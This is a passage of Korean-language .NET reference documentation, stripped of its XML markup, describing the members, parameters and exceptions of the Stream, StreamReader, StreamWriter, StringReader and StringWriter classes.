백업 저장소가 없는 Stream입니다. + 1 + + + 파생 클래스에서 재정의되면 현재 스트림 내의 위치를 가져오거나 설정합니다. + 스트림 내의 현재 위치입니다. + I/O 오류가 발생하는 경우 + 스트림이 검색을 지원하지 않는 경우 + 스트림이 닫힌 후 메서드가 호출된 경우 + 1 + + + 파생 클래스에서 재정의되면 현재 스트림에서 바이트의 시퀀스를 읽고, 읽은 바이트 수만큼 스트림 내에서 앞으로 이동합니다. + 버퍼로 읽어온 총 바이트 수입니다.이 바이트 수는 현재 바이트가 충분하지 않은 경우 요청된 바이트 수보다 작을 수 있으며 스트림의 끝에 도달하면 0이 됩니다. + 바이트 배열입니다.이 메서드가 반환될 때 버퍼에는 지정된 바이트 배열의 값이 및 ( + - 1) 사이에서 현재 원본으로부터 읽어온 바이트로 교체된 상태로 포함됩니다. + 현재 스트림에서 읽은 데이터를 저장하기 시작하는 의 바이트 오프셋(0부터 시작)입니다. + 현재 스트림에서 읽을 최대 바이트 수입니다. + + 와 의 합계가 버퍼 길이보다 큰 경우 + + 가 null인 경우 + + 또는 가 음수인 경우 + I/O 오류가 발생하는 경우 + 스트림이 읽기를 지원하지 않습니다. + 스트림이 닫힌 후 메서드가 호출된 경우 + 1 + + + 현재 스트림에서 바이트 시퀀스를 읽고 읽은 바이트 수만큼 스트림에서 위치를 비동기적으로 앞으로 이동합니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 버퍼 안으로 읽어들인 총 바이트 수를 포함합니다.현재 사용할 수 있는 바이트 수가 요청된 수보다 작을 경우 결과 값이 요청된 바이트 수보다 작을 수 있으며 스트림의 끝에 도달한 경우에는 0이 될 수도 있습니다. + 데이터를 쓸 버퍼입니다. + 스트림의 데이터를 쓰기 시작할 의 바이트 오프셋입니다. + 읽을 최대 바이트 수입니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + + 와 의 합계가 버퍼 길이보다 큰 경우 + 스트림이 읽기를 지원하지 않습니다. + 스트림이 삭제된 경우 + 이전 읽기 작업에서 현재 스트림을 사용하고 있습니다. + + + 현재 스트림에서 바이트의 시퀀스를 비동기적으로 읽고 읽은 바이트 수만큼 스트림 내에서 앞으로 이동하며 취소 요청을 모니터링합니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 버퍼 안으로 읽어들인 총 바이트 수를 포함합니다.현재 사용할 수 있는 바이트 수가 요청된 수보다 작을 경우 결과 값이 요청된 바이트 수보다 작을 수 있으며 스트림의 끝에 도달한 경우에는 0이 될 수도 있습니다. + 데이터를 쓸 버퍼입니다. + 스트림의 데이터를 쓰기 시작할 의 바이트 오프셋입니다. + 읽을 최대 바이트 수입니다. + 취소 요청을 모니터링할 토큰입니다.기본값은 입니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + + 와 의 합계가 버퍼 길이보다 큰 경우 + 스트림이 읽기를 지원하지 않습니다. + 스트림이 삭제된 경우 + 이전 읽기 작업에서 현재 스트림을 사용하고 있습니다. + + + 스트림에서 바이트를 읽고 스트림 내 위치를 한 바이트씩 앞으로 이동하거나 스트림 끝일 경우 -1을 반환합니다. + Int32로 캐스팅된 부호 없는 바이트이거나 스트림의 끝에 있는 경우 -1입니다. + 스트림이 읽기를 지원하지 않습니다. + 스트림이 닫힌 후 메서드가 호출된 경우 + 2 + + + 스트림이 시간 초과 전 읽기를 시도할 기간을 결정하는 값(밀리초)을 가져오거나 설정합니다. + 스트림 읽기 시도가 만료되기 전까지 기다릴 시간을 결정하는 값(밀리초 단위)입니다. + + 메서드는 항상 을 throw합니다. + 2 + + + 파생 클래스를 재정의될 때 현재 스트림 내의 위치를 설정합니다. + 현재 스트림 내의 새 위치입니다. + + 매개 변수에 상대적인 바이트 오프셋입니다. + 새 위치를 가져오는 데 사용되는 참조 위치를 나타내는 형식의 값입니다. + I/O 오류가 발생하는 경우 + 예를 들어, 스트림이 파이프 또는 콘솔 출력에서 생성되는 경우 스트림은 검색을 지원하지 않습니다. + 스트림이 닫힌 후 메서드가 호출된 경우 + 1 + + + 파생 클래스에 재정의될 때 현재 스트림의 길이를 설정합니다. + 원하는 현재 스트림의 길이(바이트)입니다. + I/O 오류가 발생하는 경우 + 예를 들어, 스트림이 파이프 또는 콘솔 출력에서 생성되는 경우처럼 스트림이 쓰기와 검색을 모두 지원하지 않는 경우 + 스트림이 닫힌 후 메서드가 호출된 경우 + 2 + + + 파생 클래스를 재정의될 때 현재 스트림에 바이트의 시퀀스를 쓰고 쓰여진 바이트 수만큼 이 스트림 내에서 앞으로 이동합니다. + 바이트 배열입니다.이 메서드는 의 바이트를 현재 스트림으로 복사합니다. + 현재 스트림으로 바이트를 복사하기 시작할 의 바이트 오프셋(0부터 시작)입니다. + 현재 스트림에 쓸 바이트 수입니다. + 총  및  버퍼 길이 보다 큽니다. + + null입니다. + + 또는  음수입니다. + 지정된 된 파일을 찾을 수 없는 같은 I/O 오류가 발생 합니다. + 스트림이 쓰기를 지원하지 않습니다. + + 스트림이 닫힌 후 호출 되었습니다. + 1 + + + 현재 스트림에 바이트 시퀀스를 비동기적으로 쓰고 쓴 바이트 수만큼 이 스트림에서 현재 위치를 앞으로 이동합니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 데이터를 쓸 버퍼입니다. + 스트림으로 바이트를 복사하기 시작할 의 바이트 오프셋(0부터 시작)입니다. + 쓸 최대 바이트 수입니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + + 와 의 합계가 버퍼 길이보다 큰 경우 + 스트림이 쓰기를 지원하지 않습니다. + 스트림이 삭제된 경우 + 이전 쓰기 작업에서 현재 스트림을 사용하고 있습니다. + + + 바이트의 시퀀스를 현재 스트림에 비동기적으로 쓰고 쓰여진 바이트 수만큼 이 스트림 내의 현재 위치를 앞으로 이동한 후 취소 요청을 모니터링합니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 데이터를 쓸 버퍼입니다. + 스트림으로 바이트를 복사하기 시작할 의 바이트 오프셋(0부터 시작)입니다. + 쓸 최대 바이트 수입니다. + 취소 요청을 모니터링할 토큰입니다.기본값은 입니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + + 와 의 합계가 버퍼 길이보다 큰 경우 + 스트림이 쓰기를 지원하지 않습니다. + 스트림이 삭제된 경우 + 이전 쓰기 작업에서 현재 스트림을 사용하고 있습니다. + + + 스트림의 현재 위치에 바이트를 쓰고 스트림 내 위치를 1바이트씩 앞으로 이동합니다. + 스트림에 쓸 바이트입니다. + I/O 오류가 발생하는 경우 + 스트림이 쓰기를 지원하지 않거나 이미 닫힌 경우 + 스트림이 닫힌 후 메서드가 호출된 경우 + 2 + + + 스트림이 시간 초과 전 쓰기를 시도할 기간을 결정하는 값(밀리초)을 가져오거나 설정합니다. + 스트림 쓰기 시도가 만료되기 전까지 기다릴 시간을 결정하는 값(밀리초 단위)입니다. + + 메서드는 항상 을 throw합니다. + 2 + + + 특정 인코딩의 바이트 스트림에서 문자를 읽는 를 구현합니다.이 형식에 대 한.NET Framework 소스 코드를 찾아보려면 참조는 Reference Source. + 1 + + + 지정된 스트림에 대한 클래스의 새 인스턴스를 초기화합니다. + 읽을 스트림입니다. + + 이 읽기를 지원하지 않는 경우 + + 가 null인 경우 + + + 지정한 바이트 순서 표시 검색 옵션을 사용하여 지정된 스트림에 대해 클래스의 새 인스턴스를 초기화합니다. + 읽을 스트림입니다. + 파일의 시작 부분에서 바이트 순서 표시를 찾을지 여부를 나타냅니다. + + 이 읽기를 지원하지 않는 경우 + + 가 null인 경우 + + + 지정된 문자 인코딩을 사용하여 지정된 스트림에 대해 클래스의 새 인스턴스를 초기화합니다. + 읽을 스트림입니다. + 사용할 문자 인코딩입니다. + + 이 읽기를 지원하지 않는 경우 + + 또는 가 null인 경우 + + + 지정된 문자 인코딩과 바이트 순서 표시 검색 옵션을 사용하여 특정 스트림에 대해 클래스의 새 인스턴스를 초기화합니다. + 읽을 스트림입니다. + 사용할 문자 인코딩입니다. + 파일의 시작 부분에서 바이트 순서 표시를 찾을지 여부를 나타냅니다. + + 이 읽기를 지원하지 않는 경우 + + 또는 가 null인 경우 + + + 지정된 문자 인코딩과 바이트 순서 표시 검색 옵션, 버퍼 크기를 사용하여 특정 스트림에 대해 클래스의 새 인스턴스를 초기화합니다. + 읽을 스트림입니다. + 사용할 문자 인코딩입니다. + 파일의 시작 부분에서 바이트 순서 표시를 찾을지 여부를 나타냅니다. + 최소 버퍼 크기입니다. + 스트림이 읽기를 지원하지 않습니다. + + 또는 가 null인 경우 + + 가 0보다 작거나 같은 경우 + + + 지정된 문자 인코딩과 바이트 순서 표시 검색 옵션, 버퍼 크기를 기반으로 지정된 스트림에 대해 클래스의 새 인스턴스를 초기화하고 스트림을 선택적으로 연 상태로 둡니다. + 읽을 스트림입니다. + 사용할 문자 인코딩입니다. + 파일의 시작 부분에서 바이트 순서 표시를 찾으려면 true이고, 찾지 않으려면 false입니다. + 최소 버퍼 크기입니다. + + 개체를 삭제한 후 스트림을 열어 두려면 true이고, 닫으려면 false입니다. + + + 내부 스트림을 반환합니다. + 내부 스트림입니다. + 2 + + + 현재 개체에서 사용 중인 현재 문자 인코딩을 가져옵니다. + 현재 판독기에서 사용하는 문자 인코딩입니다. 메서드를 처음으로 호출할 때 인코딩이 자동으로 검색되므로 의 메서드를 처음으로 호출하면 값이 달라질 수 있습니다. + 2 + + + 내부 버퍼를 지웁니다. + 2 + + + 내부 스트림을 닫고 에서 사용하는 관리되지 않는 리소스를 해제하고 관리되는 리소스를 선택적으로 해제할 수 있습니다. + 관리되는 리소스와 관리되지 않는 리소스를 모두 해제하려면 true로 설정하고, 관리되지 않는 리소스만 해제하려면 false로 설정합니다. + + + 현재 스트림 위치가 스트림의 끝에 있는지를 나타내는 값을 가져옵니다. + 현재 스트림 위치가 스트림의 끝에 있으면 true이고, 없으면 false입니다. + 내부 스트림이 삭제된 경우 + 1 + + + 빈 스트림 주위의 개체입니다. + 1 + + + 사용할 수 있는 다음 문자를 반환하지만 사용하지는 않습니다. + 읽을 다음 문자를 나타내는 정수이거나, 읽을 문자가 없거나 스트림에서 검색을 지원하지 않을 경우 -1입니다. + I/O 오류가 발생하는 경우 + 1 + + + 입력 스트림에서 다음 문자를 읽고 문자 위치를 한 문자씩 앞으로 이동합니다. + + 개체로 표시되는 입력 스트림의 다음 문자이거나, 사용할 수 있는 문자가 더 이상 없는 경우에는 -1입니다. + I/O 오류가 발생하는 경우 + 1 + + + 현재 스트림에서 지정된 최대 문자를 지정된 인덱스부터 버퍼로 읽어 들입니다. + 읽은 문자 수를 반환하거나 스트림의 끝에 있고 읽은 데이터가 없으면 0을 반환합니다.이 수는 스트림 내에서 데이터를 사용할 수 있는지 여부에 따라 매개 변수보다 작거나 같습니다. + 이 메서드는 지정된 문자 배열의 값이 및 () 사이에서 현재 원본으로부터 읽어온 문자로 교체된 상태로 반환됩니다. + 쓰기를 시작할 의 인덱스입니다. + 읽을 최대 문자 수입니다. + 버퍼 길이에서 를 빼면 보다 작은 경우 + + 가 null인 경우 + + 또는 가 음수인 경우 + 스트림이 닫히는 등의 I/O 오류가 발생한 경우 + 1 + + + 현재 스트림에서 지정된 최대 수의 문자를 비동기적으로 읽어 이 데이터를 지정된 인덱스에서 시작되는 버퍼에 씁니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 버퍼 안으로 읽어들인 총 바이트 수를 포함합니다.현재 사용할 수 있는 바이트 수가 요청된 수보다 작을 경우 결과 값이 요청된 바이트 수보다 작을 수 있으며 스트림의 끝에 도달한 경우에는 0이 될 수도 있습니다. + 이 메서드는 지정된 문자 배열의 값이 및 ( + - 1) 사이에서 현재 소스로부터 읽어온 문자로 교체된 상태로 반환됩니다. + 쓰기를 시작할 의 위치입니다. + 읽을 최대 문자 수입니다.지정한 문자 수를 버퍼에 기록하기 전에 스트림의 끝에 도달하면 현재 메서드가 반환됩니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + + 와 의 합계가 버퍼 길이보다 큰 경우 + 스트림이 삭제된 경우 + 이전 읽기 작업에서 판독기를 현재 사용하고 있습니다. + + + 현재 스트림에서 지정된 최대 수의 문자를 읽어 이 데이터를 지정된 인덱스에서 시작되는 버퍼에 씁니다. + 읽은 문자 수입니다.이 문자 수는 모든 입력 문자를 읽었는지 여부에 따라 보다 작거나 같습니다. + 이 메서드는 지정된 문자 배열의 값이 및 () 사이에서 현재 원본으로부터 읽어온 문자로 교체된 상태로 반환됩니다. + 쓰기를 시작할 의 위치입니다. + 읽을 최대 문자 수입니다. + + 가 null인 경우 + 버퍼 길이에서 를 빼면 보다 작은 경우 + + 또는 가 음수인 경우 + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + + + 현재 스트림에서 지정된 최대 수의 문자를 비동기적으로 읽어 이 데이터를 지정된 인덱스에서 시작되는 버퍼에 씁니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 버퍼 안으로 읽어들인 총 바이트 수를 포함합니다.현재 사용할 수 있는 바이트 수가 요청된 수보다 작을 경우 결과 값이 요청된 바이트 수보다 작을 수 있으며 스트림의 끝에 도달한 경우에는 0이 될 수도 있습니다. + 이 메서드는 지정된 문자 배열의 값이 및 ( + - 1) 사이에서 현재 소스로부터 읽어온 문자로 교체된 상태로 반환됩니다. + 쓰기를 시작할 의 위치입니다. + 읽을 최대 문자 수입니다.지정한 문자 수를 버퍼에 기록하기 전에 스트림의 끝에 도달하면 메서드가 반환됩니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + + 와 의 합계가 버퍼 길이보다 큰 경우 + 스트림이 삭제된 경우 + 이전 읽기 작업에서 판독기를 현재 사용하고 있습니다. + + + 현재 스트림에서 한 줄의 문자를 읽고 데이터를 문자열로 반환합니다. + 입력 스트림의 다음 줄을 반환하거나 입력 스트림의 끝에 도달한 경우 null을 반환합니다. + 반환된 문자열을 위한 버퍼를 할당할 메모리가 부족한 경우 + I/O 오류가 발생하는 경우 + 1 + + + 현재 스트림에서 한 줄의 문자를 비동기적으로 읽고 데이터를 문자열로 반환합니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 스트림의 다음 줄을 포함하거나 모든 문자를 읽은 경우에는 null입니다. + 다음 줄의 문자 수가 보다 큽니다. + 스트림이 삭제된 경우 + 이전 읽기 작업에서 판독기를 현재 사용하고 있습니다. + + + 현재 위치부터 스트림 끝까지의 모든 문자를 읽습니다. + 현재 위치부터 끝까지의 나머지 스트림은 문자열입니다.현재 위치가 스트림 끝에 있으면 빈 문자열("")을 반환합니다. + 반환된 문자열을 위한 버퍼를 할당할 메모리가 부족한 경우 + I/O 오류가 발생하는 경우 + 1 + + + 현재 위치부터 스트림 끝까지의 모든 문자를 비동기적으로 읽어서 이를 하나의 문자열로 반환합니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 현재 위치에서 스트림 끝까지 있는 문자로 이루어진 문자열을 포함합니다. + 문자 수가 보다 큽니다. + 스트림이 삭제된 경우 + 이전 읽기 작업에서 판독기를 현재 사용하고 있습니다. + + + + 를 구현하여 특정 인코딩의 스트림에 문자를 씁니다.이 형식에 대 한.NET Framework 소스 코드를 찾아보려면 참조는 참조 원본. + 1 + + + UTF-8 인코딩과 기본 버퍼 크기를 사용하여 지정된 스트림에 대해 클래스의 새 인스턴스를 초기화합니다. + 쓸 스트림입니다. + + 에 쓸 수 없는 경우 + + 가 null인 경우 + + + 지정된 인코딩과 기본 버퍼 크기를 사용하여 지정된 스트림에 대한 클래스의 새 인스턴스를 초기화합니다. + 쓸 스트림입니다. + 사용할 문자 인코딩입니다. + + 또는 가 null인 경우 + + 에 쓸 수 없는 경우 + + + 지정된 인코딩과 버퍼 크기를 사용하여 지정된 스트림에 대한 클래스의 새 인스턴스를 초기화합니다. + 쓸 스트림입니다. + 사용할 문자 인코딩입니다. + 버퍼 크기(바이트)입니다. + + 또는 가 null인 경우 + + 가 음수인 경우 + + 에 쓸 수 없는 경우 + + + 지정된 인코딩과 기본 버퍼 크기를 사용하여 지정된 스트림에 대한 클래스의 새 인스턴스를 초기화하며, 선택적으로 스트림을 연 상태로 둘 수 있습니다. + 쓸 스트림입니다. + 사용할 문자 인코딩입니다. + 버퍼 크기(바이트)입니다. + true to leave the stream open after the object is disposed; otherwise, false. + + 또는 가 null인 경우 + + 가 음수인 경우 + + 에 쓸 수 없는 경우 + + + + 가 를 호출할 때마다 해당 버퍼를 내부 스트림에 플러시할지 여부를 나타내는 값을 가져오거나 설정합니다. + + 가 해당 버퍼를 플러시하게 하려면 true이고, 그렇지 않으면 false입니다. + 1 + + + 백업 저장소의 인터페이스 역할을 하는 내부 스트림을 가져옵니다. + 이 StreamWriter가 쓰고 있는 스트림입니다. + 2 + + + + 에서 사용하는 관리되지 않는 리소스를 해제하고, 관리되는 리소스를 선택적으로 해제할 수 있습니다. + 관리되는 리소스와 관리되지 않는 리소스를 모두 해제하려면 true로 설정하고, 관리되지 않는 리소스만 해제하려면 false로 설정합니다. + 현재 인코딩으로 유니코드 서로게이트 쌍의 한 쪽을 표시할 수 없는 경우 + + + 출력이 쓰여질 을 가져옵니다. + 현재 인스턴스에 대해 생성자에 지정된 이거나, 인코딩이 지정되지 않은 경우 입니다. + 2 + + + 현재 writer의 모든 버퍼를 지우면 버퍼링된 모든 데이터가 내부 스트림에 쓰여집니다. + 현재 writer가 닫힌 경우 + I/O 오류가 발생한 경우 + 현재 인코딩으로 유니코드 서로게이트 쌍의 한 쪽을 표시할 수 없는 경우 + 1 + + + 이 스트림에 대한 모든 버퍼를 비동기적으로 지우고 버퍼링된 모든 데이터가 내부 장치에 비동기적으로 쓰여지도록 합니다. + 비동기 플러시 작업을 나타내는 작업입니다. + 스트림이 삭제된 경우 + + + StreamWriter에 쓸 수는 있지만 읽을 수는 없는 백업 저장소를 제공하지 않습니다. + 1 + + + 스트림에 문자를 씁니다. + 스트림에 쓸 문자입니다. + I/O 오류가 발생하는 경우 + + 가 true이거나 버퍼가 꽉 차 있고, 현재 작성기가 닫혀 있는 경우 + + 가 true이거나 버퍼가 꽉 차 있고, 가 스트림 끝에 있기 때문에 버퍼 내용을 내부 고정 크기 스트림에 쓸 수 없는 경우 + 1 + + + 스트림에 문자 배열을 씁니다. + 쓸 데이터를 포함하는 문자 배열입니다.가 null이면 아무 것도 쓰여지지 않습니다. + I/O 오류가 발생하는 경우 + + 가 true이거나 버퍼가 꽉 차 있고, 현재 작성기가 닫혀 있는 경우 + + 가 true이거나 버퍼가 꽉 차 있고, 가 스트림 끝에 있기 때문에 버퍼 내용을 내부 고정 크기 스트림에 쓸 수 없는 경우 + 1 + + + 스트림에 문자의 하위 배열을 씁니다. + 쓸 데이터를 포함하는 문자 배열입니다. + 데이터 읽기를 시작하는 버퍼의 문자 위치입니다. + 쓸 최대 문자 수입니다. + + 가 null인 경우 + 버퍼 길이에서 를 빼면 보다 작은 경우 + + 또는 가 음수인 경우 + I/O 오류가 발생하는 경우 + + 가 true이거나 버퍼가 꽉 차 있고, 현재 작성기가 닫혀 있는 경우 + + 가 true이거나 버퍼가 꽉 차 있고, 가 스트림 끝에 있기 때문에 버퍼 내용을 내부 고정 크기 스트림에 쓸 수 없는 경우 + 1 + + + 스트림에 문자열을 씁니다. + 스트림에 쓸 문자열입니다.가 null이면 아무 것도 쓰여지지 않습니다. + + 가 true이거나 버퍼가 꽉 차 있고, 현재 작성기가 닫혀 있는 경우 + + 가 true이거나 버퍼가 꽉 차 있고, 가 스트림 끝에 있기 때문에 버퍼 내용을 내부 고정 크기 스트림에 쓸 수 없는 경우 + I/O 오류가 발생하는 경우 + 1 + + + 문자를 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 스트림에 쓸 문자입니다. + 스트림 작성기가 삭제됩니다. + 이전 쓰기 작업에서 현재 스트림 작성기를 사용하고 있습니다. + + + 문자의 하위 배열을 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 쓸 데이터를 포함하는 문자 배열입니다. + 데이터 읽기를 시작할 버퍼의 문자 위치입니다. + 쓸 최대 문자 수입니다. + + 가 null인 경우 + + 와 의 합이 버퍼 길이보다 큽니다. + + 또는 가 음수인 경우 + 스트림 작성기가 삭제됩니다. + 이전 쓰기 작업에서 현재 스트림 작성기를 사용하고 있습니다. + + + 문자열을 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 스트림에 쓸 문자열입니다.가 null이면 아무 것도 쓰여지지 않습니다. + 스트림 작성기가 삭제됩니다. + 이전 쓰기 작업에서 현재 스트림 작성기를 사용하고 있습니다. + + + 줄 종결자를 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 스트림 작성기가 삭제됩니다. + 이전 쓰기 작업에서 현재 스트림 작성기를 사용하고 있습니다. + + + 문자와 줄 종결자를 차례로 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 스트림에 쓸 문자입니다. + 스트림 작성기가 삭제됩니다. + 이전 쓰기 작업에서 현재 스트림 작성기를 사용하고 있습니다. + + + 문자의 하위 배열과 줄 종결자를 차례로 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 쓸 데이터가 있는 문자 배열입니다. + 데이터 읽기를 시작하는 버퍼의 문자 위치입니다. + 쓸 최대 문자 수입니다. + + 가 null인 경우 + + 와 의 합이 버퍼 길이보다 큽니다. + + 또는 가 음수인 경우 + 스트림 작성기가 삭제됩니다. + 이전 쓰기 작업에서 현재 스트림 작성기를 사용하고 있습니다. + + + 문자열과 줄 종결자를 차례로 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 쓸 문자열입니다.값이 null이면 줄 종결자만 쓰여집니다. + 스트림 작성기가 삭제됩니다. + 이전 쓰기 작업에서 현재 스트림 작성기를 사용하고 있습니다. + + + 문자열에서 읽어오는 를 구현합니다. + 2 + + + 지정된 문자열에서 읽어오는 클래스의 새 인스턴스를 초기화합니다. + + 가 초기화되어야 하는 문자열입니다. + + 매개 변수가 null인 경우 + + + + 에서 사용하는 관리되지 않는 리소스를 해제하고, 관리되는 리소스를 선택적으로 해제할 수 있습니다. + 관리되는 리소스와 관리되지 않는 리소스를 모두 해제하려면 true로 설정하고, 관리되지 않는 리소스만 해제하려면 false로 설정합니다. + + + 사용할 수 있는 다음 문자를 반환하지만 사용하지는 않습니다. + 읽을 다음 문자를 나타내는 정수이거나, 사용할 수 있는 문자가 더 이상 없거나 스트림에서 검색을 지원하지 않을 경우 -1입니다. + 현재 판독기가 닫힌 경우 + 2 + + + 입력 문자열에서 다음 문자를 읽고 문자 위치를 한 문자씩 앞으로 이동합니다. + 내부 문자열의 다음 문자를 반환하거나, 사용할 수 있는 문자가 더 이상 없으면 -1을 반환합니다. + 현재 판독기가 닫힌 경우 + 2 + + + 입력 문자열에서 문자 블록을 읽은 다음 문자 위치를 씩 앞으로 이동합니다. + 버퍼로 읽어온 총 문자 수입니다.이 문자 수는 현재 문자가 충분하지 않은 경우 요청된 문자 수보다 작을 수 있으며 내부 문자열의 끝에 도달하면 0이 됩니다. + 이 메서드는 지정된 문자 배열의 값이 및 ( + - 1) 사이에서 현재 소스로부터 읽어온 문자로 교체된 상태로 반환됩니다. + 버퍼의 시작 인덱스입니다. + 읽을 문자 수입니다. + + 가 null입니다. + 버퍼 길이에서 를 빼면 보다 작은 경우 + + 또는 가 음수인 경우 + 현재 판독기가 닫힌 경우 + 2 + + + 현재 문자열에서 지정된 최대 수의 문자를 비동기적으로 읽어 이 데이터를 지정된 인덱스에서 시작되는 버퍼에 씁니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 버퍼 안으로 읽어들인 총 바이트 수를 포함합니다.현재 사용할 수 있는 바이트 수가 요청된 수보다 작을 경우 결과 값이 요청된 바이트 수보다 작을 수 있으며 문자열의 끝에 도달한 경우에는 0이 될 수도 있습니다. + 이 메서드는 지정된 문자 배열의 값이 및 ( + - 1) 사이에서 현재 소스로부터 읽어온 문자로 교체된 상태로 반환됩니다. + 쓰기를 시작할 의 위치입니다. + 읽을 최대 문자 수입니다.지정한 문자 수를 버퍼에 기록하기 전에 문자열의 끝에 도달하면 메서드가 반환됩니다. + + 가 null입니다. + + 또는 가 음수인 경우 + + 와 의 합계가 버퍼 길이보다 큰 경우 + 문자열 판독기가 삭제된 경우 + 이전 읽기 작업에서 판독기를 현재 사용하고 있습니다. + + + 현재 문자열에서 지정된 최대 수의 문자를 비동기적으로 읽어 이 데이터를 지정된 인덱스에서 시작되는 버퍼에 씁니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 버퍼 안으로 읽어들인 총 바이트 수를 포함합니다.현재 사용할 수 있는 바이트 수가 요청된 수보다 작을 경우 결과 값이 요청된 바이트 수보다 작을 수 있으며 문자열의 끝에 도달한 경우에는 0이 될 수도 있습니다. + 이 메서드는 지정된 문자 배열의 값이 및 ( + - 1) 사이에서 현재 소스로부터 읽어온 문자로 교체된 상태로 반환됩니다. + 쓰기를 시작할 의 위치입니다. + 읽을 최대 문자 수입니다.지정한 문자 수를 버퍼에 기록하기 전에 문자열의 끝에 도달하면 메서드가 반환됩니다. + + 가 null입니다. + + 또는 가 음수인 경우 + + 와 의 합계가 버퍼 길이보다 큰 경우 + 문자열 판독기가 삭제된 경우 + 이전 읽기 작업에서 판독기를 현재 사용하고 있습니다. + + + 현재 문자열에서 한 줄의 문자를 읽고 데이터를 문자열로 반환합니다. + 현재 문자열의 다음 줄 또는 문자열의 끝에 도달한 경우 null입니다. + 현재 판독기가 닫힌 경우 + 반환된 문자열을 위한 버퍼를 할당할 메모리가 부족한 경우 + 2 + + + 현재 문자열에서 한 줄의 문자를 비동기적으로 읽고 데이터를 문자열로 반환합니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 문자열 판독기의 다음 줄을 포함하거나 모든 문자가 읽혀진 경우에는 null입니다. + 다음 줄의 문자 수가 보다 큽니다. + 문자열 판독기가 삭제된 경우 + 이전 읽기 작업에서 판독기를 현재 사용하고 있습니다. + + + 현재 위치부터 문자열 끝까지의 모든 문자를 읽어서 이를 단일 문자열로 반환합니다. + 내부 문자열의 현재 위치에서 끝까지의 내용입니다. + 반환된 문자열을 위한 버퍼를 할당할 메모리가 부족한 경우 + 현재 판독기가 닫힌 경우 + 2 + + + 현재 위치부터 문자열 끝까지의 모든 문자를 비동기적으로 읽어서 이를 단일 문자열로 반환합니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 현재 위치에서 문자열 끝까지의 문자로 이루어진 문자열을 포함합니다. + 문자 수가 보다 큽니다. + 문자열 판독기가 삭제된 경우 + 이전 읽기 작업에서 판독기를 현재 사용하고 있습니다. + + + 정보를 문자열로 쓰기 위한 를 구현합니다.정보는 내부 에 저장됩니다. + 2 + + + + 클래스의 새 인스턴스를 초기화합니다. + + + 지정한 형식 제어를 사용하여 클래스의 새 인스턴스를 초기화합니다. + 형식 지정을 제어하는 개체입니다. + + + 지정한 에 쓰는 클래스의 새 인스턴스를 초기화합니다. + 작성할 StringBuilder입니다. + + 가 null입니다. + + + 지정한 에 쓰고 지정한 서식 공급자를 갖는 클래스의 새 인스턴스를 초기화합니다. + 작성할 StringBuilder입니다. + 형식 지정을 제어하는 개체입니다. + + 가 null입니다. + + + + 에서 사용하는 관리되지 않는 리소스를 해제하고, 관리되는 리소스를 선택적으로 해제합니다. + 관리되는 리소스와 관리되지 않는 리소스를 모두 해제하려면 true로 설정하고, 관리되지 않는 리소스만 해제하려면 false로 설정합니다. + + + 출력이 쓰여질 을 가져옵니다. + 출력이 쓰여질 Encoding입니다. + 1 + + + 현재 작성기에 대한 모든 버퍼를 비동기적으로 지우면 버퍼링된 모든 데이터가 내부 장치에 쓰여집니다. + 비동기 플러시 작업을 나타내는 작업입니다. + + + 내부 를 반환합니다. + 내부 StringBuilder입니다. + 2 + + + 현재 StringWriter에 지금까지 쓰여진 문자가 포함된 문자열을 반환합니다. + 현재 StringWriter에 쓰여진 문자가 포함된 문자열입니다. + 2 + + + 문자를 문자열에 씁니다. + 쓸 문자입니다. + 작성기가 닫힌 경우 + 2 + + + 문자의 하위 배열을 문자열에 씁니다. + 쓸 데이터가 있는 문자 배열입니다. + 데이터 읽기를 시작하는 버퍼의 위치입니다. + 쓸 최대 문자 수입니다. + + 가 null입니다. + + 또는 가 음수인 경우 + ( + )> 인 경우Length. + 작성기가 닫힌 경우 + 2 + + + 문자를 현재 문자열에 씁니다. + 쓸 문자열입니다. + 작성기가 닫힌 경우 + 2 + + + 문자를 문자열에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 문자열에 쓸 문자입니다. + 문자열 작성기가 삭제됩니다. + 이전 쓰기 작업에서 문자열 작성기를 현재 사용하고 있습니다. + + + 문자의 하위 배열을 문자열에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 쓸 데이터가 있는 문자 배열입니다. + 데이터 읽기를 시작하는 버퍼의 위치입니다. + 쓸 최대 문자 수입니다. + + 가 null입니다. + + 와 의 합이 버퍼 길이보다 큽니다. + + 또는 가 음수인 경우 + 문자열 작성기가 삭제됩니다. + 이전 쓰기 작업에서 문자열 작성기를 현재 사용하고 있습니다. + + + 문자를 현재 문자열에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 쓸 문자열입니다.가 null이면 텍스트 스트림에 아무 것도 쓰여지지 않습니다. + 문자열 작성기가 삭제됩니다. + 이전 쓰기 작업에서 문자열 작성기를 현재 사용하고 있습니다. + + 